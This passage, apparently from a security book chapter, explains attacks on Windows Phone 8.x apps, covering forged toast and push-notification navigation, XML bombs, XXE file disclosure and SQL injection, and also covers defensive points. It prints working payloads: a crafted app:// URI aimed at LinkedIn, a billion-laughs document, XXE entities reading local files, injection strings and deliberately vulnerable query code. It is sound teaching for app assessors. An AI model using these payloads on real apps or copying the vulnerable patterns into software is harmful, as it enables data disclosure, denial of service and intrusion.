VOID 
APIENTRY 
Shell_PostMessageToast( 
    _In_ TOAST_MESSAGE* toastMessage 
    ); 

The useful metadata for the toast itself is passed in via a pointer to a TOAST_MESSAGE structure, which has the following form:

typedef struct _TOAST_MESSAGE 
{ 
   CLSID guid; 
   LPCWSTR lpTitle; 
    LPCWSTR lpContent; 
    LPCWSTR lpUri; 
    LPCWSTR lpType; 
} TOAST_MESSAGE; 

The Windows Phone 8 SDK does not ship with an import library file (.lib) for ShellChromeAPI.dll, so to call Shell_PostMessageToast() you need to create your own import library and link your native code against it, so that the Windows Phone knows at load time to look in ShellChromeAPI.dll’s export table for the Shell_PostMessageToast() entry point and henceforth use it.

You should fill each of the structure members as follows:

  • guid (the app’s GUID, or ProductID)—This is the ProductID that is present in the app’s manifest file and also forms part of the full path of the app’s Install and isolated storage directories.
  • lpTitle—This is the pointer to the title appearing on the toast notification.
  • lpContent— This is the pointer to the message displayed in the toast notification.
  • lpUri—This is the pointer to the URI that the toast should send users to if they tap the toast.
  • lpType—This is the pointer to the type of toast. The string can be empty.

Because the GUID for the app being attacked is discoverable via its manifest and its local data and Install directories, and because the title, content, and type are mostly arbitrary, the remaining important argument to suitably craft is the URI, lpUri.

The URI takes the following form:

app://GUID/_default#/<AssemblyName>;component/SomePage.xaml?myArgs=value 

GUID is simply the app’s ProductID GUID. Assembly name is the name of the DLL that the target XAML is—minus the .dll file extension. The last portion of the URL simply specifies the name of the XAML file, and any arguments you want to pass to it, which will reach (and most likely be parsed) in the XAML implementation’s OnNavigatedTo() handler method.

For demonstration purposes, let’s work through a concrete example of a real application and construct a URI so that when the toast is sent and tapped, functionality in that app will be launched, even though the toast was sent by an entirely different app (Native Toast Notification Launcher). The app used for demonstration purposes in this case will be LinkedIn, from a non-attacking perspective. From the WMAppManifest.xml file extracted from the app’s Install directory, we know that the app’s product ID GUID is bdc7ae24-9051-474c-a89a-2b18f58d1317.

First, you’ll need to figure out what XAML pages the application actually has. To do this, you need to use your filesystem access to copy a .NET assembly from the app’s Install folder; that is, C:DataPrograms{GUID}Install. After you have it on your test laptop, load it in .NET reflector and browse to Resources on the right side panel (the “assembly browser”).

As shown in Figure 11.7, you can see a list of all the XAML pages available in the linkedin.dll assembly (linkedin will therefore correspond to <AssemblyName> in the URI). Choosing one that sounds interesting, /views/companypage.xaml, you will then find the corresponding reflected C# code that implements its logic.

images

Figure 11.7 .NET reflector showing XAML pages in a Windows Phone 8 application

In looking through the methods, it’s clear that OnNavigatedTo() has indeed been implemented, which will be the code entry point when the XAML page is navigated to. (See Figure 11.8.)

images

Figure 11.8 .NET reflector showing an XAML page’s OnNavigatedTo() implementation

Analysis of the reflected code for OnNavigatedTo() shows parsing of the query string to extract several parameters. These are then used to create a company information page. Parameters named id, name, industry, and logourl are parsed out and used in the generated company information page.

Putting all this together, you can form the following URI to call into the XAML page to have the app generate a company profile page for a fictional company of your choice, Acme Corp:

app://bdc7ae24-9051-474c-a89a-2b18f58d1317 /_default#/linkedin; 
component/views/companypage.xaml?id=test&name=Acme%20Corp 
&industry=Exploding%20Tennis%20Balls 
&logourl=http://uva.onlinejudge.org/external/116/p11613.jpg 

Now, to send the toast you need to call Shell_PostMessageSend() with the correct parameters, including the preceding URI. The process for creating a toast-sending application involves creating an import library (.lib) for ShellChromeAPI .dll, writing the necessary native code to call into Shell_PostMessageSend(), linking against your import library, and then writing managed code wrappers and an interface.

Fortunately, cpuguy from the xda-developers.com forum released an application for sending custom toasts; all the app requires is for users to input an app:// URI of their choice! You can therefore use cpuguy’s app for arbitrary XAML page testing or Cross-Application Navigation Request Forgery.

The app, Native Toast Notification Launcher, is available for download as an attachment in cpuguy’s original post detailing the discovery: http://forum .xda-developers.com/showthread.php?t=2398275.

Figure 11.9 shows that the previous app:// URI was typed into the toast launcher app and sent, giving the following toast notification.

images

Figure 11.9 The Native Toast Notification Launcher sending a toast message

Tapping the toast reveals the screen shown in Figure 11.10, indicating successful launch of the target XAML page, showing a fake profile for Acme Corp.

images

Figure 11.10 The XAML screen launched after you tap the toast notification

Although the preceding example is relatively benign, it shows how toast notifications can provide an interesting and unexpected (by developers) entry point into pages that weren’t supposed to be arbitrarily reachable, and it follows that the potential for security issues because of this is significant. Remember that this technique only works on Windows Phone 8 and appears to be completely fixed on Windows Phone 8.1.

Sending Toast Notifications Remotely

Applications may register to receive toasts remotely via push notifications received from Microsoft Push Notification Service (MPNS). Registering for a push notification channel allows the developer of the app to send notifications, including toasts, to instances of the app. Alternatively, the app’s vendor may register with a cloud service that will do the push notifications for them, because push channel registrations with MPNS are not per app, but per device. Introductions to push notifications and toast notifications from a code-level perspective are available on MSDN at http://msdn.microsoft.com/en-us/library/windows/apps/ff402558(v=vs.105).aspx, and http://msdn.microsoft.com/en-us/library/windows/apps/hh202967(v=vs.105).aspx.

When a device is running Windows Phone 8 (again, not 8.1), and a target app has registered for push notifications, Cross-Application Navigation Forgery attacks identical to those described and shown in the previous pages are theoretically possible to carry out by remote attackers.

Let’s first examine how apps register for push notifications and then discuss how attackers may be able to send their own push notifications to carry out Cross-Application Navigation Forgery attacks under certain circumstances.

Applications open a push notification channel with MPNS using the HttpNotificationChannel API. Each instance of a particular application receives a unique URL from MPNS when it registers for push notifications. Ultimately, this URL can be used by the app’s vendor or a cloud service to send push notifications to the associated device.

Every time an app that wants to receive push notifications launches, it checks for an open push notification channel, because a channel may have been created for it in a previous instance of the app. If an existing push channel is found, the URL will be sent to the application developer or a cloud service that the developer utilizes to send push notifications. If an existing channel is not found, a channel is opened, and toast notifications are opted into by calling BindToShellToast() on the channel object.

The following code illustrates the basic code outline:

HttpNotificationChannel pushChannel; 
 
/* try to find an existing push channel */ 
pushChannel = HttpNotificationChannel.Find("myPushChannel"); 
 
 
/* no push channel found – open a new one */ 
if (pushChannel == null) 
{ 
    pushChannel = new HttpNotificationChannel("myPushChannel"); 
 
    // register for this event so that we can capture the 
    // URL that refers to our push channel and send it to the 
    // app developer or our cloud service */ 
    pushChannel.ChannelUriUpdated += new 
EventHandler<NotificationChannelUriEventArgs>( 
PushChannel_ChannelUriUpdated); 
 
    /* just an error handler */ 
    pushChannel.ErrorOccurred += new 
EventHandler<NotificationChannelErrorEventArgs>( 
PushChannel_ErrorOccurred); 
 
    /* we register for this event if we also want to receive toast 
notifications when our app is closed */ 
    pushChannel.ShellToastNotificationReceived += 
new EventHandler<NotificationEventArgs>( 
PushChannel_ShellToastNotificationReceived); 
 
    /* open the channel */ 
    pushChannel.Open(); 
 
    /* we want to receive toast notifications via push */ 
    pushChannel.BindToShellToast(); 
} 
 
    /* otherwise, we already had a push channel open */ 
else 
{ 
 
    // register for this event so that we can capture the URL 
    // that refers to our push channel and send it to the app 
    // developer or our cloud service */ 
 
    pushChannel.ChannelUriUpdated += new 
EventHandler<NotificationChannelUriEventArgs>( 
PushChannel_ChannelUriUpdated); 
    pushChannel.ErrorOccurred += new 
EventHandler<NotificationChannelErrorEventArgs>( 
PushChannel_ErrorOccurred); 
 
    // we register for this event if we also want to receive 
    // toast notifications when our app is closed */ 
    pushChannel.ShellToastNotificationReceived += new 
EventHandler<NotificationEventArgs>( 
PushChannel_ShellToastNotificationReceived); 
 
    /* send our MPNS URL to the developer or cloud service we use */ 
    SendUrlToDeveloper(pushChannel.ChannelUri.ToString()); 
 
    } 
} 

Note that both the if and the else code paths register for the ChannelUriUpdated notification. This results in the handler, PushChannel_ChannelUriUpdated() being called if the MPNS URL associated with the channel changes. If the channel already exists, as in this example, the URL doesn’t change; hence the URL is sent to the app vendor or cloud service at the end of the else block.

In the if block, which runs if a channel doesn’t already exist, a channel opens and the app registers for toast notifications. Because this creates a new channel, an MPNS URL is associated with it, and the ChannelUriUpdated event handler will be called. In this handler function is where the URL can be sent to the app vendor or cloud service for perusal in sending out push notifications to the device:

void PushChannel_ChannelUriUpdated( 
object sender, NotificationChannelUriEventArgs e) 
{ 
    Dispatcher.BeginInvoke(() => 
    { 
    // send URL to developer/vendor or cloud service 
    SendUrlToDeveloper(e.ChannelUri.ToString()); 
    }); 
} 

At this point, the hypothetical application will have a channel for push notifications, and the app’s vendor or cloud service will have received the unique MPNS URL that will ultimately be used to send out push messages to the device. The app vendor or cloud service will make HTTP POST requests to the MPNS URL. The exact form of the requests and data depends on the push message to be sent to the associated device.

The MPNS URL itself has a form similar to the following:

http://db3.notify.live.net/throttledthirdparty/01.00/ 
AQZFFGnGGQRI4BFLSKVRYR9xk6FbAgAAAAADKwAAAAQDQYmL98kIxMjIxPOQ 
xOTEvqDlZASQbaFzqTY6k8uML 

Clearly, the token part of the URL is long and intentionally unpredictable. It doesn’t indicate which app it is associated with.

If an attacker has the URL associated with a device’s push channel, then he is able to send push messages to the device—in this case, toast notifications. Two general attack scenarios exist here in which an attacker may gain knowledge of this URL.

The first is that applications may send the URL to the vendor, developer, or cloud service insecurely; that is, via a plaintext HTTP session, meaning that any suitably positioned attacker can eavesdrop on the URL that is being communicated, thereby gaining access to deliver push notifications to the device.

For the second scenario, notice that the MPNS URL itself is a simple http:// URL, as opposed to https://. This means that a suitably positioned attacker may also eavesdrop on requests being made to the MPNS URL, gaining knowledge of the URL and enough knowledge to make push notifications to the associated device.

The second case is, at present, unfortunately unavoidable; this URL was generated by MPNS, and this is the URL that must be used, thus the potential for eavesdropping on the URL is quite real.

In the first case, eavesdropping potential boils down to the app insecurely transmitting the URL to the vendor or cloud service, which is clearly avoidable, so when assessing apps, check for secure communication of the MPNS URL to the vendor or cloud service.

In any case, if an attacker does indeed glean knowledge of a MPNS URL, all he has to do is make a suitably crafted POST request to it—in XML. The following request sends a toast notification with an app:// URL in it to conduct a Cross-Application Navigation Request Forgery attack on a hypothetical would-be vulnerable app:

<?xml version="1.0" encoding="utf-8"?> 
  <wp:Notification xmlns:wp="WPNotification"> 
  <wp:Toast> 
  <wp:Text1>Hi..</wp:Text1> 
  <wp:Text2>This is a toast notification</ wp:Text2> 
  <wp:Param>app://acb5a845-77a7-4480-be66- 
b32e927f77c5/_default#/myAssembly;component/SomePage.xaml?myArgs= 
maliciousData</wp:Param> 
 </wp:Toast> 
 </wp:Notification> 

Then, assuming the user received and tapped the toast, the XAML page would be navigated to—as long as the OS version is previous to 8.1.

Mitigating the risk involved with attackers attacking instances of an app by their knowledge of the MPNS URL is possible. (See Chapter 13.)

Attacking XML Parsing

Like apps for other smartphone platforms, many Windows Phone apps need to parse XML either from local files, or more interestingly, from remote sources. For example, applications may receive XML in HTTP responses, which they parse, store for later parsing, or both.

This section covers a few ways a developer can trip up and introduce security bugs when parsing XML in Windows Phone apps.

Introducing the XDocument API

The standard API for parsing XML documents on the Windows Phone 8.x OSes is XDocument; you can find the full documentation for it on MSDN (see http://msdn.microsoft.com/en-us/library/system.xml.linq.xdocument(v=vs.110) .aspx).

XDocument forms part of the LINQ framework. The numerous other XML-parsing APIs that are available in the desktop Windows OSes, such as XmlDocument and XmlTextReader, are unavailable on the Windows Phone 8.x platforms; the only Microsoft-supplied API is XDocument (and associated classes).

LINQ, which stands for Language-Integrated Query, is a framework that bridges the gap between data and objects. XDocument is a class that allows XML documents to be parsed using LINQ queries—that is, in a syntax and fashion that will be quite familiar to readers who use SQL languages.

Consider this quick example of XDocument’s use to parse a simple XML document to get an idea for how a simple but realistic XML document may be parsed in real code. A hypothetical app may need to parse an XML document that looks like this:

<?xml version="1.0" encoding="utf-8" ?> 
<employees> 
<employee> 
       <name>John Smith</name> 
       <jobTitle>CEO</jobTitle> 
       <dob>28/12/1970</dob> 
</employee> 
 
<employee> 
       <name>Adam Peters</name> 
       <jobTitle>Consultant</jobTitle> 
       <dob>03/04/1987</dob> 
</employee> 
 
<employee> 
       <name>Jacob Matthews</name> 
       <jobTitle>Accountant</jobTitle> 
       <dob>06/11/1981</dob> 
</employee> 
</employees> 

Given a file like this, you may want to compile a list of all employees whom are detailed in the document. To do this, you might use something similar to the following code:

XmlReader reader = XmlReader.Create("Assets/XMLFile2.xml"); 
 
// parse the XML file 
XDocument xmlDoc = XDocument.Load(reader); 
 
var q = from c in xmlDoc.Descendants("employee") 
       select (string)c.Element("name") + (string)c.Element("title"); 
 
string allEmployees = ""; 
 
// concatenate all detailed employees together into a string 
foreach (string name in q) { 
allEmployees += name + ". "; 
} 
 
// show in message box 
MessageBox.Show(allEmployees); 

As expected, you’ll get the message box listing the names of all the employees in the XML file. (See Figure 11.11.)

images

Figure 11.11 Names parsed out from the XML document

Using LINQ to query XML documents can prove to be very convenient and powerful due to its systematic and logical nature.

Although in the previous example we used XDocument.Load() to parse an XML document from disk, you would use XDocument.Parse()to parse XML documents that are contained within string objects. Also other overloads of the Load() method exist. (See the XDocument documentation for more details; http://msdn .microsoft.com/en-us/library/system.xml.linq.xdocument(v=vs.110).aspx.)

So what about the classic XML security problem—DTD (Document Type Definition) parsing? And parsing of DTDs that resolve to external entities?

Fortunately for developers, XDocument’s DTD parsing settings are secure by default; that is, DTD parsing is set to prohibited, unless the developer explicitly enables it on her XDocument object.

In real-world apps, however, DTD parsing is sometimes enabled, for a few possible reasons:

  • Code fragments are copied in from other sources because they just work. Examples include code solutions found on resources such as Internet forums, including Stack Overflow.
  • Documents being parsed simply rely on DTDs being resolved, so to correctly parse documents, developers bite the bullet and simply enable DTD parsing to avoid breaking their apps.

When apps use XDocument for XML parsing and their documents require the use of DTDs, the setting must be enabled with code like this:

var settings = new XmlReaderSettings { DtdProcessing = 
DtdProcessing.Parse }; 
 XmlReader reader = XmlReader.Create("myFile.xml", settings); 
 
// parse the XML file 
XDocument xmlDoc = XDocument.Load(reader); 

If you come across an app that does have DTD parsing enabled, two general issues have a security impact: entity expansion denial-of-service attacks (otherwise known as a “billion laughs”), and external entity resolution attacks (XXE). We discuss these next.

Entity Expansion Denial-of-Service Attacks

The XML standard allows for nested entities in inline DTDs. A side effect of resolving nested entities is that creating a relatively small piece of XML that effectively acts as an XML bomb is possible.

Consider the following piece of XML, from an MSDN blog article on XML DoS and external entity attacks (located at http://msdn.microsoft.com/en-us/magazine/ee335713.aspx):

<?xml version="1.0"?> 
<!DOCTYPE lolz [ 
  <!ENTITY lol "lol"> 
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2; 
&lol2;"> 
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3; 
&lol3;"> 
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4; 
&lol4;"> 
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5; 
&lol5;"> 
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6; 
&lol6;"> 
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7; 
&lol7;"> 
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8; 
&lol8;"> 
]> 
<lolz>&lol9;</lolz> 

The entity lol9 is made up of ten lol8 entities, which itself is made up of ten lol7 entities, which in turn is made up of ten lol6 entities and so on and so forth, until all entities have been expanded to lol strings. Visualizing how this actually adds up to a lot of entity expansions is easy. In fact, this small piece of XML ends up resolving to one billion lol strings, hence the name “billion laughs,” and this data consumes around 3GB in memory. In addition to consuming vast amounts of the runtime’s heap space, the series of operations are also resource intensive in terms of processor usage.

You can demonstrate this to yourself by having the following logic in a test application, and then running it on the device from Visual Studio:

string lol = "<?xml version="1.0"?><!DOCTYPE lolz [ 
<!ENTITY lol "lol"><!ENTITY lol2 
"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol; 
&lol;"><!ENTITY lol3 
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2; 
&lol2;"><!ENTITY lol4 
"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3; 
&lol3;"><!ENTITY lol5 
"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4; 
&lol4;"><!ENTITY lol6 
"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5; 
&lol5;"><!ENTITY lol7 
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6; 
&lol6;"><!ENTITY lol8 
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7; 
&lol7;"><!ENTITY lol9 
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8; 
&lol8;">]><lolz>&lol9;</lolz>"; 
 
 var settings = new XmlReaderSettings { DtdProcessing = 
DtdProcessing.Parse };  
 byte[] data = Encoding.UTF8.GetBytes(lol); 
 MemoryStream stm = new MemoryStream(data, 0, data.Length); 
 XmlReader xmlReader = XmlReader.Create(stm, settings); 
 
 // parse the XML file 
 XDocument xmlDoc = XDocument.Load(xmlReader); 

Eventually, after several minutes, the app will throw an unhandled System .OutOfMemory exception, and the application will crash. (See Figure 11.12.)

images

Figure 11.12 Out-of-memory exception reported by Visual Studio due to a “billion laughs” attack

Now, obviously because we’re talking about applications running on mobile devices and not on server platforms, the possibility of a DoS occurring on a mobile app may seem a little bit unlikely. In many cases, this may be true, but if an app pulls an XML bomb of this kind from the Internet, saves it to disk, and then attempts to parse it every time the app runs, users have a much more annoying problem, especially if the app is critical to their work or otherwise important to them. A persistent DoS like this could result in users’ having to reinstall the app, and perhaps losing important data associated with it.

External Entity Expansion Attacks

External entity expansion attacks (XXEs) are decidedly more interesting than XML bomb DoS attacks, particularly because they often allow the disclosure of files from the host being attacked.

XDocument is no exception; as long as DTD parsing has been enabled on the XDocument object being used for parsing, file disclosure attacks are sometimes possible. However, restrictions are imposed by Windows Phone’s sandboxing model. We’ll run through those now with real code and outputs so that you are aware of when file disclosure attacks via XXE are possible, and when they’re not, in Windows Phone 8.x apps.

Consider a sample application that contains the following vulnerable code:

var settings = new XmlReaderSettings { DtdProcessing = 
DtdProcessing.Parse }; 
XmlReader xmlReader = XmlReader.Create("Assets/XMLFile.xml", settings); 
 
// parse the XML file 
XDocument xmlDoc = XDocument.Load(xmlReader); 
 
var q = from c in xmlDoc.Descendants("someTag") select(string) 
c.Element("foo"); 
 
string secretContents = ""; 
 
// concatenate all detailed employees together into a string 
foreach (string data in q) { 
    secretContents += data + ". "; 
} 
 
// show in message box 
MessageBox.Show(secretContents); 

With a bit of analysis, you can easily see that this code parses an XML file called XMLFile1.xml, parses out the values of any <foo> tags found within the document, and displays them in a message box.

Now create a new XML file (called XMLFile1.xml) in the Assets directory of your application. Insert the following contents (via Visual Studio’s Solution Explorer):

<?xml version="1.0" encoding="iso-8859-1"?> 
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY > 
  <!ENTITY xxe SYSTEM "file:///C:secretFile.txt" > 
]> 
 
<someTag> 
<foo>&xxe;</foo> 
 </someTag> 

This XML file causes the parser to attempt to resolve an external entity that clearly lies outside the app’s sandbox. Run your app and you’ll receive a System .Xml.XmlException with a reason string reading:

 "An error has occurred while opening external entity 
'file:///C:/secretFile.txt':  --> System.Xml.XmlException: 
Cannot open 'file:///C:/secretFile.txt'. The Uri parameter 
must be a relative path pointing to content inside the 
Silverlight application's XAP package ..." 

Replace your XML file’s content with the following, and run your app again:

<?xml version="1.0" encoding="iso-8859-1"?> 
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY > 
  <!ENTITY xxe SYSTEM "http://www.google.co.uk/abcd" > 
]> 
 
<someTag> 
<foo>&xxe;</foo> 
 </someTag> 

Your app will receive a very similar exception; more specifically, with a reason string reading:

 "An error has occurred while opening external entity 
'http://www.google.co.uk/abcd':  --> System.Xml.XmlException: 
Cannot open 'http://www.google.co.uk/abcd'. The Uri parameter 
must be a relative path pointing to content inside the 
Silverlight application's XAP package ..." 

The message delivered with the exception summarizes a serious limitation in file-stealing capabilities as a result of sandboxing: only files that reside in the app’s Install directory can be stolen (that is, C:DataPrograms{GUID}Install). This is the directory where the app’s executables, manifest, and other pre-packaged assets are placed by the OS when the app is installed, and this directory and its subdirectories are read-only by Windows Phone sandboxing restrictions.

Files in the app’s isolated storage (C:DataUsersDefAppsAPPDATA{GUID}) are not accessible as external entities. Unfortunately for attackers, this means that stealing files stored at runtime by apps is not possible. It is possible to reference the app’s pre-packaged files only as external entities.

This rules out interesting files stored by apps, such as cache, cookies, and key and credential files. However, some applications may pre-package interesting files such as certificates or credential files, which would be in the application’s Install directory (or a subdirectory), and would therefore be viable targets for theft via XXE.

With the understanding that sandboxing restrictions apply to external entity resolutions, even with a good target file identified, the problem still exists of how, as an attacker, to exfiltrate the file from off the device to an attacker-controlled box.

Whether this is possible depends on what the application does with the parsed entity. Some apps may, at some point, send parts of the parsed XML document back to the developer’s server or another server. In this case, the possibility exists for would-be attackers to intercept or otherwise receive the resolved external entity file’s contents.

In any case, as demonstrated here, the XDocument will indeed parse files as external entities. In your sample vulnerable app, place the following XML contents in Assets/XMLFile.xml (via Solution Explorer),

<?xml version="1.0" encoding="iso-8859-1"?> 
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY > 
  <!ENTITY xxe SYSTEM "secret.txt" > 
]> 
 
<someTag> 
<foo>&xxe;</foo> 
 </someTag> 

and create a file named secret.txt, also in the Assets folder, again via Solution Explorer, and insert “secret data” using the text editor.

Upon running your sample vulnerable app identical to the one laid out previously in this section, the API parses the external element (xxe), and the LINQ query fills the secretContents string object with the resolved data: the contents of secret.txt. The message box shown in Figure 11.13 should appear.

images

Figure 11.13 Result of external entity resolution of the “secret file” in a message box

An attacker’s ability to exfiltrate data from the device will generally depend on whether the app somehow transmits the data (from the resolved external entity) elsewhere via the network at some point, or uses it in a way that may otherwise be accessible to an attacker; for example, in a JavaScript DOM that may be compromised by an attacker via WebBrowser script injection.

Attacking Databases

This section takes a look at how database interactions can sometimes be exploited in Windows Phone 8.x applications. We say “database interactions” instead of just “SQL injection” because we want to first briefly mention the LINQ to SQL API—Windows Phone 8.x’s standard way of accessing local databases. We’ll then move onto SQL injection bugs and how they can be introduced via common (third-party) database libraries.

LINQ to SQL

LINQ to SQL is now used for all (native) database operations in Windows Phone applications, including defining schemas, reading to, writing to, and otherwise manipulating local databases. Windows Phone 8.x does not support any of the traditional SQL-based APIs at all. You can find WP8.x-specific aspects at the MSDN page located at http://msdn.microsoft.com/en-us/library/windows/apps/hh202872(v=vs.105).aspx.

LINQ to SQL adds a layer between LINQ and TSQL that ultimately means that SQL injection in apps using Windows Phone 8.x’s native database capabilities is not possible.

Therefore, if the app is using LINQ to SQL, it is safe from SQL injection.

SQLite and SQLCipher

Despite using LINQ to SQL–style interaction with databases, some developers still prefer to interact with their databases with SQL.

In addition to being popular in general, SQLite has also found popularity and frequent usage among Windows Phone developers. The reasons possibly include familiarity and known reliability, but whatever the reasons, seeing SQLite being used for local data storage in Phone Store apps is common.

SQLite provides versions of its engine that work on both Windows Phone 8 and 8.1. The package SQLite provides is a native library. Krueger Systems developed a set of wrappers called sqlite-net (https://github.com/praeclarum/sqlite-net) that allows the native SQLite API to be accessed from C# code; however, sqlite-net doesn’t support the Windows Phone SQLite library.

Fortunately, Peter Huene created a set of native wrappers named sqlite-net-wp8 (https://github.com/peterhuene/sqlite-net-wp8) that allow sqlite-net to integrate with the Windows Phone version of SQLite.

The Windows Phone SQLite engine is installable in Visual Studio via Tools Extensions and Updates, and sqlite-net is available as a NuGet package, also installable in Visual Studio via the Package Manager Console. General instructions for how to install SQLite for Windows Phone into your Visual Studio instance, as well as how to install sqlite-net and sqlite-net-wp8 code wrappers to your projects, are available at http://blogs.windows.com/buildingapps/2013/03/12/using-the-sqlite-database-engine-with-windows-phone-8-apps/. Following this guide before reading on is recommended if you want to follow the examples in this section.

SQLCipher (http://sqlcipher.net/blog/2014/1/13/introducing-sqlcipher- for-windows-phone-8-and-windows-runtim.html) is based closely on sqlite-net. As the name suggests, it adds cryptography capabilities to SQLite databases. Because its API is so close to that provided by sqlite-net, the contents of this section are also applicable to apps that use SQLCipher for their databases.

The wrapper API provides safe methods for querying and otherwise manipulating databases without having to actually deal with SQL queries directly, and the API also caters for parameterization to be used when SQL queries are being constructed manually.

API provides the following methods for raw SQL statement execution:

  • db.CreateCommand()
  • db.Execute()
  • db.ExecuteScalar()
  • db.Query()
  • db.Query<T>()
  • db.DeferredQuery()
  • db.DeferredQuery<T>()

For instance, Query<T>() can be used safely; that is, by utilizing parameterization, but it can also be used insecurely by constructing queries by basic string concatenation with no metacharacter escaping. All it would take in each of the vulnerable examples is for the attacker to place an apostrophe (') in his controlled value, thereby breaking out of the intended SQL statement with the possibility of altering the meaning of the SQL query itself. Consider the following safe and unsafe examples. The unsafe patterns, of course, allow SQL injection, assuming attackerInput is indeed an attacker-controlled string.

Safe

var db = new SQLiteConnection(Path.Combine( 
ApplicationData.Current.LocalFolder.Path, "test.db")); 
 
[ ... ] 
 
SQLiteCommand cmd = db.CreateCommand( 
"select * from Stock where Symbol = ?", attackerInput); 
 
// get all stock items with name in question 
List<Stock> stockList = cmd.ExecuteQuery<Stock>(); 
 
// and then display the names and stock IDs 
foreach(Stock item in stockList) { 
    MessageBox.Show(item.Symbol + " has item ID:" + item.Id); 
 }

Vulnerable

var db = new SQLiteConnection(Path.Combine( 
ApplicationData.Current.LocalFolder.Path, "test.db")); 
 
[ ... ] 
 
SQLiteCommand cmd = db.CreateCommand( 
"select * from Stock where Symbol = '" + attackerInput + "'"); 
 
// get all stock items with name in question 
List<Stock> stockList = cmd.ExecuteQuery<Stock>(); 
 
// and then display the names and stock IDs 
foreach(Stock item in stockList) { 
    MessageBox.Show(item.Symbol + " has item ID:" + item.Id); 
 }

Safe

 [ ... ] 
 
// get all stock items with name in question 
List<Stock> results = db.Query<Stock>( 
"select * from Stock where Symbol = ?", attackerInput); 
 
// and then display the names and stock IDs 
 foreach(Stock item in results) { 
       MessageBox.Show(item.Symbol + " has item ID:" + item.Id); 
  } 
 
[ ... ]

Vulnerable

// get all stock items with name in question 
List<Stock> results = db.Query<Stock>( 
"select * from Stock where Symbol = 
                     '" + attackerInput + "'"); 
 
// and then display the names and stock IDs 
 foreach(Stock item in results) { 
     MessageBox.Show(item.Symbol + " has item ID:" + item.Id); 
  } 
 
[ ... ] 

Running either of the preceding vulnerable code samples with attackerInput being equal to “aaaaaa’aaa” results in a SQLiteException being thrown due to a SQL syntax error, as shown in Figure 11.14.

images

Figure 11.14 SQLite syntax error

SQL injection bugs are easy to spot when code is available or assemblies have been extracted from a device and reversed to recover code (that is, using .NET reflector). If you’re manually testing an application for SQL injection, and insertion of an apostrophe (') causes a crash, there’s a decent chance that SQLite threw a SQLiteException, which went unhandled and resulted in the app crashing. In these cases, you may have a SQL injection bug on your hands, which you’ll want to look into to verify whether an injection issue exists or not.

If you’re unsure of whether a SQL injection bug exists, you can use conditional clauses and observe whether the app’s behavior changes in the way you expect. For example, if a SQL injection bug existed in a query to select the employee with a certain email address, and you injected,

[email protected]' OR 1=1— 

and the app attempted to return all users in its database, you would be fairly certain you’ve just hit a SQL injection bug. Moreover, this may be interesting from the attacker’s perspective in terms of information leakage by the app. Equally, if you injected:

[email protected]' AND 1=1— 

and you knew that [email protected] existed in the database, you could then compare the behavior with what happens when you inject:

[email protected]' AND 1=2— 

That is, in the second case, where you injected AND 1=2—, you would expect the query to return nothing (let’s assume the query is simple), because 1=2 is obviously false, and the conditional was concerned with “and” logic.

The potential for entry points into potentially injectable SQL queries is worth considering; think XAML page entry points (that is, OnNavigatedTo and resulting code paths) via toast notifications and protocol handlers. For example, imagine a part of an app responsible for looking up all contacts with a certain surname. Code similar to the following could easily appear in an XAML page’s OnNavigatedTo() entry point:

protected override void OnNavigatedTo(NavigationEventArgs e) { 
 
    string surname; 
 
    if (this.NavigationContext.QueryString.ContainsKey("surname")) 
    { 
        phoneNumber = this.NavigationContext.QueryString["surname"]; 
 
        SQLiteCommand cmd = db.CreateCommand( 
"select * from Contacts where surname = '" + attackerInput + "'"); 
 
        List<Contacts> stockList = cmd.ExecuteQuery<Contacts>(); 
 
[ ... ] 
 
    } 
} 

In a real-world app, this method could be reached via a toast notification, for example, or via a protocol handler that the app has registered.

Apps may also use data pulled in via HTTP API requests in insecure SQL query formation, as well.

It’s worth noting before we move on to another section that when you’re using SQLite’s Windows Phone engine and Krueger’s wrapper, stacked queries are not enabled, and the load_extension() function is disabled, so the interesting exploitation techniques described here (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) are not applicable.

Attacking File Handling

As with applications for any modern smartphone platform, apps running on Windows Phone 8.x may need to write files to disk, and then manipulate, read, and delete them.

Developers occasionally make mistakes in handling file I/O, which can lead to some interesting security bugs. We’ll talk about how file handling is done generally here, and then move on to discovering and possibly exploiting directory traversal bugs.

Introduction to File Handling

Since the introduction of Windows Phone 8, the main APIs for dealing with file I/O are the Windows.Storage and Windows.Storage.Streams namespaces. You can find full documentation on both of these APIs at their respective MSDN pages at http://msdn.microsoft.com/en-us/library/windowsphone/develop/windows.storage.aspx and http://msdn.microsoft.com/en-us/library/windowsphone/develop/windows.storage.streams.aspx.

As we’ve stressed a number of times before, third-party apps are subject to filesystem sandboxing restraints, and as such can read and write only from and to specific locations. Broadly, apps have read and write access to their application data directory tree and read-only access to their install directory, which houses application binaries, the manifest, and other assets. These directories reside at the following file paths:

  • Application data—C:DataUsersDefAppsAPPDATA{GUID}...
  • Install directory—C:DataPrograms{GUID}Install...

